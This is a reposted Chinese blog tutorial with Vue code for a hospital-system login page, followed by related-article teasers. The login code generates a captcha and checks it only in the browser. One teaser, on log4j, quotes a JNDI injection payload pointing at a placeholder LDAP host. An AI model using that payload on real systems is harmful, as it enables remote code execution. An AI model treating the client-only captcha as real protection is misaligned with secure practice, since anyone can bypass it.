vue实现验证码验证登录

先看效果:

代码如下:

<template><div class="container"><div style="width: 400px; padding: 30px; background-color: white; border-radius: 5px;"><div style="text-align: center; font-size: 20px; margin-bottom: 20px; color: #333">欢迎登录智慧医疗管理系统</div><el-form :model="form" :rules="rules" ref="formRef"><el-form-item prop="username"><el-input prefix-icon="el-icon-user" placeholder="请输入账号" v-model="form.username"></el-input></el-form-item><el-form-item prop="password"><el-input prefix-icon="el-icon-lock" placeholder="请输入密码" show-password  v-model="form.password"></el-input></el-form-item><div class="box"><el-form-item prop="seccode"class="inputbar"><el-inputclass="log-input"v-model="form.seccode"placeholder="验证码"prefix-icon="icon-login_auth"@keydown.enter.native="login('form')"></el-input></el-form-item><div class="checkCode" @click="createCode">{{ checkCode}}</div></div><el-form-item><el-select v-model="form.role" placeholder="请选择角色" style="width: 100%;"><el-option label="管理员" value="ADMIN"></el-option><el-option label="医生" value="DOCTOR"></el-option><el-option label="患者" value="USER"></el-option></el-select></el-form-item><el-form-item><el-button style="width: 100%; background-color: #7eb488; border-color: #7eb488; color: #ffffff" @click="login">登 录</el-button></el-form-item><div style="display: flex; align-items: center"><div style="flex: 1"></div><div style="flex: 1; text-align: right"><a href="/register">注册</a></div></div></el-form></div></div>
</template><script>
export default {name: "Login",data() {return {form: {username: "",password: "",seccode: ""},checkCode:'',dialogVisible: true,rules: {username: [{ required: true, message: '请输入账号', trigger: 'blur' },],password: [{ required: true, message: '请输入密码', trigger: 'blur' },]}}},created() {},mounted () {this.createCode();},methods: {createCode() {this.code = '';const codeLength = 4; //验证码的长度const random = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R','S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'); //随机数for(let i = 0; i < codeLength; i++) { //循环操作let index = Math.floor(Math.random() * 36); //取得随机数的索引(0~35)this.code += random[index]; //根据索引取得随机数加到code上}this.checkCode = this.code; //把code值赋给验证码},login() {if(this.form.seccode != this.checkCode) {this.$message({message: "验证码错误,注意大写字母",type: "warning"});this.createCode();return false;}this.$refs['formRef'].validate((valid) => {if (valid) {// 验证通过this.$request.post('/login', this.form).then(res => {if (res.code === '200') {localStorage.setItem("xm-user", JSON.stringify(res.data))  // 存储用户数据this.$router.push('/')  // 跳转主页this.$message.success('登录成功')} else {this.$message.error(res.msg)}})}})}}
}
</script><style scoped>.box{display: flex;justify-content: space-between;}.checkCode{background:pink ;width: 100px;height: 40px;line-height: 40px;text-align: center;border-radius: 5px;letter-spacing: 5px;}.btn{width: 100%;}.container {height: 100vh;overflow: hidden;background-image: url("@/assets/imgs/bg.jpg");background-size: 100%;display: flex;align-items: center;justify-content: center;color: #666;
}
a {color: #2a60c9;
}
</style>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797661.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL主从的介绍与应用

mysql主从 文章目录 mysql主从1. 主从简介1.1 主从作用1.2 主从形式 2. 主从复制原理3. 主从复制配置3.1 mysql安装&#xff08;两台主机安装一致&#xff0c;下面只演示一台主机操作&#xff09;3.2 mysql主从配置3.2.1 确保从数据库与主数据库里的数据一样3.2.2 在主数据库里…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

苍穹外卖Day10——总结10

前期文章 文章标题地址苍穹外卖Day01——总结1https://lushimeng.blog.csdn.net/article/details/135466359苍穹外卖Day02——总结2https://lushimeng.blog.csdn.net/article/details/135484126苍穹外卖Day03——总结3https://blog.csdn.net/qq_43751200/article/details/1363…

工厂方法模式:灵活的创建对象实例

在软件开发中&#xff0c;我们经常需要创建对象&#xff0c;但直接new一个实例可能会导致代码的耦合性增加&#xff0c;降低了代码的灵活性和可维护性。工厂方法模式&#xff08;Factory Method Pattern&#xff09;是一种创建型设计模式&#xff0c;它提供了一种创建对象的接口…

基于单片机干湿垃圾自动分类系统

**单片机设计介绍&#xff0c;基于单片机干湿垃圾自动分类系统 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的干湿垃圾自动分类系统是一个集成传感器技术、机械控制和单片机编程于一体的自动化解决方案。该系统的主要目标是实…

算法| ss 合并区间

56.合并区间 56.合并区间 /*** param {number[][]} intervals* return {number[][]}*/ // 思路 区间合并 // 数组升序 // 取第一个元素作为pre // for循环遍历 // 条件判断&#xff1a; 如果当前开始大于pre的结尾&#xff0c;则存入pre&#xff0c; 更新pre为当前 // 否则 p…

死锁、活锁、饥饿三者之间的区别,Java 中导致饥饿的原因有哪些?为了避免饥饿,可以采取哪些措施

目录 面试官:死锁、活锁、饥饿的区别死锁(Deadlock)活锁(Livelock)饥饿(Starvation)面试官:Java 中导致饥饿的原因有哪些思维导图该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:死锁、活锁…

【趣味学算法】11_黑洞数

注&#xff1a; 本系列仅为个人学习笔记&#xff0c;学习内容为《算法小讲堂》&#xff08;视频传送门&#xff09;&#xff0c;通俗易懂适合编程入门小白&#xff0c;需要具备python语言基础&#xff0c;本人小白&#xff0c;如内容有误感谢您的批评指正 黑洞数又称陷阱数&…

Docker之镜像与容器的相关操作

目录 一、Docker镜像 搜索镜像 下载镜像 查看宿主机上的镜像 删除镜像 二、Docker容器 创建容器 查看容器 启停容器 删除容器 进入容器 创建/启动/进入容器 退出容器 查看容器内部信息 一、Docker镜像 Docker 运行容器前需要本地存在对应的镜像&#xff0c; 如…

每日更新5个Python小技能 | 第九期

大家好&#xff01;欢迎阅读每日更新的Python小技能系列&#xff0c;今天是第九期。在这个系列中&#xff0c;我将每天分享5个高级的Python小技巧&#xff0c;帮助大家进一步提升编程技能。让我们开始吧&#xff01; 1. 使用生成器提高内存效率 生成器是 Python 中强大而高效…

mysql 连接查询和子查询

学习了mysql基本查询&#xff0c; 接着学习连接查询和子查询。 4&#xff0c;连接查询 连接是关系数据库模型的主要特点。连接查询是关系数据库中最主要的查询&#xff0c;主要包括内连接、外连接等。通过连接运算符可以实现多个表查询。在关系数据库管理系统中&#xff0c;表建…

使用 Docker Compose 部署邮件服务器

使用 Docker Compose 部署邮件服务器 很多时候为了方便&#xff0c; 我们都直接使用第三方邮箱进行收发邮件。 但第三方邮箱有些要求定期修改密码&#xff0c;有些限制发邮箱的次数&#xff0c; 对于一些个人和企业来说&#xff0c; 有自己的域名和服务器为什么不自己搭建一个邮…

Android:身份证识别功能实现

说明&#xff1a; 此文使用华为SDK、百度SDK、百度在线API三种方式实现。 一、使用华为SDK实现身份证识别&#xff1a; 说明&#xff1a;免费&#xff0c;不需要联网。 1.AndroidManifest.xml添加权限&#xff1a;<uses-permission android:name"android.permissio…

GESP Python编程五级认证真题 2024年3月

Python 五级 2024 年 03 月 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 下面流程图在yr输入2024时&#xff0c;可以判定yr代表闰年&#xff0c;并输出 2月是29天 &#xff0c;则图中菱形框中应该填入&#xff08; &#xff09;。 A. (yr % 400 0…

Leetcode 506. 相对名次

给你一个长度为 n 的整数数组 score &#xff0c;其中 score[i] 是第 i 位运动员在比赛中的得分。所有得分都 互不相同 。 运动员将根据得分 决定名次 &#xff0c;其中名次第 1 的运动员得分最高&#xff0c;名次第 2 的运动员得分第 2 高&#xff0c;依此类推。运动员的名次…

Leetcode刷题笔记——多维动态规划篇

Leetcode刷题笔记——多维动态规划篇 第一题:最小路径和 Leetcode64&#xff1a;最小路径和&#xff1a;中等题 &#xff08;详情点击链接见原题&#xff09; 给定一个包含非负整数的 m x n 网格 grid &#xff0c;请找出一条从左上角到右下角的路径&#xff0c;使得路径上的…

稀碎从零算法笔记Day36-LeetCode:H指数

有点绕的一个题&#xff0c;题目描述的有点奇怪&#xff08;可以看下英文&#xff1f;&#xff09; 题型&#xff1a;数组、模拟 链接&#xff1a;274. H 指数 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述 给你一个整数数组 citations &am…

SpringBoot登录校验(四)过滤器Filter

JWT令牌生成后&#xff0c;客户端发的请求头中会带有JWT令牌&#xff0c;服务端需要校验每个请求的令牌&#xff0c;如果在每个controller方法中添加校验模块&#xff0c;则十分复杂且冗余&#xff0c;所以引入统一拦截模块&#xff0c;将请求拦截下来并做校验&#xff0c;这块…

【算法】两数之和(暴力求解+哈希表)

本题来源---《两数之和》。 题目描述 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里…

Golang | Leetcode Golang题解之第12题整数转罗马数字

题解&#xff1a; 题解&#xff1a; var (thousands []string{"", "M", "MM", "MMM"}hundreds []string{"", "C", "CC", "CCC", "CD", "D", "DC", "…